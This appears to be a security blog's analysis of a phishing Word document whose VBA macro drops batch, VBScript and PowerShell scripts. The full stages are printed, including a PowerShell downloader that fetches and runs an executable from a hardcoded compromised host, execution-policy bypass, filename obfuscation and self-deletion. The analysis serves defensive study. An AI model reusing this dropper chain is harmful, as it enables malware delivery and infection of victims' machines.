An interesting sample landed in my samples database the other day. It’s an email with a word document attached. The email, as usual, claims that this company has found discrepancies on some transactions, and needs you to read the document to verify these transactions.

This attached file contains a malicious Visual Basic macro which, if allowed to execute, will act as a trojan dropper (I have not yet analysed the dropped file).

Of course, any recent version of Microsoft Office has protections built in. By default, it will not allow any macro to automatically execute. To combat this, the malicious document employs further social engineering to coerce the victim into allowing the macro to run:

Following the instructions will allow the macro to execute. Not really ideal. Once executed, to avoid hinting at infection, the macro will remove the “instructions” and replace them with this message:

So what does it do? In order to figure this out, we can take a look at the contents of the macro. Unfortunately, the macro itself is password protected, so that first needs to be removed (which I won’t go into).

Once the protection is removed, we can easily see what the macro is doing:

The function of the evil macro is actually quite simple. Its main function is to unpack  a Powershell script – The PS script then goes out and drops another malicious file onto the machine for execution.

Let’s take a look at how this happens.

The first section builds several variables containing the paths of the output files of the unpacker. It employs some basic obfuscation in an attempt to:

• Avoid detection by the untrained human eye.
• Evade automatic analysis attempts.

The above looks messy, but de-obfuscated it basically translates to these paths:

The resulting string is the location it will dump the files, depending on your version of Windows. If the operating system is Windows Vista or above, it will finally end up executing the PowerShell script. If below Windows Vista, it will use a VB Script to achieve the same goal.

This logic is evident in the next section of the macro, where the files are written:

So here the macro gets the running version of Windows and compares the version number. Vista is 6.0, so for Win XP it will write a different set of files (Due to the use of PowerShell, which isn’t available in XP).

There a quite a few lines after this. The macro will write the contents of the above files line-by-line. Three files will be created on Windows Vista and above (In this case I am testing on Windows 7):

• adobeacd-update.bat
• adobeacd-update.ps1
• adobeacd-update.vbs

Only two files will be created on Windows XP.

Once extracted on Windows 7, the macro will call the above Batch (.bat) script. Once called, the macro will go on to delete the previous “instructions” and replace them with the error message seen earlier in the article. This error message was actually in the document the whole time, just coloured as white text, so seemingly invisible.

Our evil macro has just unpacked three scripts and executed one of them… but why?

As mentioned above, the batch file is executed. The batch file runs a quick ping, changes the code page to 1251 (Cyrillic – Slavic) then executes the unpacked VBScript file… Again employing crude obfuscation to presumably disguise the fact it’s a .vbs file from automated analysis systems.

Here is the contents of the batch file:

@echo off 
ping 1.1.2.2 -n 2 
chcp 1251 :csakclasjdklas 
set Var1="." 
set Var2="v" 
set Var3="bs" 
cscript.exe "c:\Users\Supreme Overlord\AppData\Local\Temp\adobeacd-update"%Var1%%Var2%%Var3%
exit

The VBScript  does not do much, but simply call the PowerShell script:

Dim dff dff = 68 
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
currentFile = "C:\Users\Supreme Overlord\AppData\Local\Temp\adobeacd-update"&"."&"p"&"s1"
Set objShell = CreateObject("Wscript.shell")
objShell.Run "powerShell.exe -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true

The PS script is where the magic happens. The PowerShell script hits out to a hardcoded URL (a compromised web server) and downloads a file (also hardcoded).

Once downloaded the PS script will execute the dropped file, before finally deleting the dropped file, as well as the 3 scripts used to perform the dropping.

Here is the PS Script:

$down = New-Object
System.Net.WebClient;
$url = 'http://[REDACTED].com/tmp/tak.exe';
$file = 'c:\Users\Supreme Overlord\AppData\Local\Temp\444.exe';
$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$down.DownloadFile($url,$file);
$ScriptDir = $MyInvocation.ScriptName;
$someFilePath = 'c:\Users\Supreme Overlord\AppData\Local\Temp\444.exe';
$vbsFilePath = 'c:\Users\Supreme Overlord\AppData\Local\Temp\adobeacd-update'+'.'+'v'+'bs';
$batFilePath = 'c:\Users\Supreme Overlord\AppData\Local\Temp\adobeacd-update'+'.'+'b'+'at';
$psFilePath = 'c:\Users\Supreme Overlord\AppData\Local\Temp\adobeacd-update'+'.'+'p'+'s1';
Start-Sleep -s 15;
cmd.exe /c 'c:\Users\Supreme Overlord\AppData\Local\Temp\444.exe';
$file1 = gci $vbsFilePath -Force $file2 = gci $batFilePath -Force $file3 = gci $psFilePath -Force
If (Test-Path $vbsFilePath){
    Remove-Item $vbsFilePath
}
If (Test-Path $batFilePath){
    Remove-Item $batFilePath
}
If (Test-Path $someFilePath){
    Remove-Item $someFilePath
}
Remove-Item $MyInvocation.InvocationName

At this point our evil macro has finished it’s job and the file it dropped onto the machine is now running. The analysis of that file will need to wait until next time.

As you can see malicious macros embedded in MS Office documents are still alive and well, so care should be taken when opening documents from unknown sources, and not to disable the built in protection mechanisms.

Feel free to contact me with any feedback.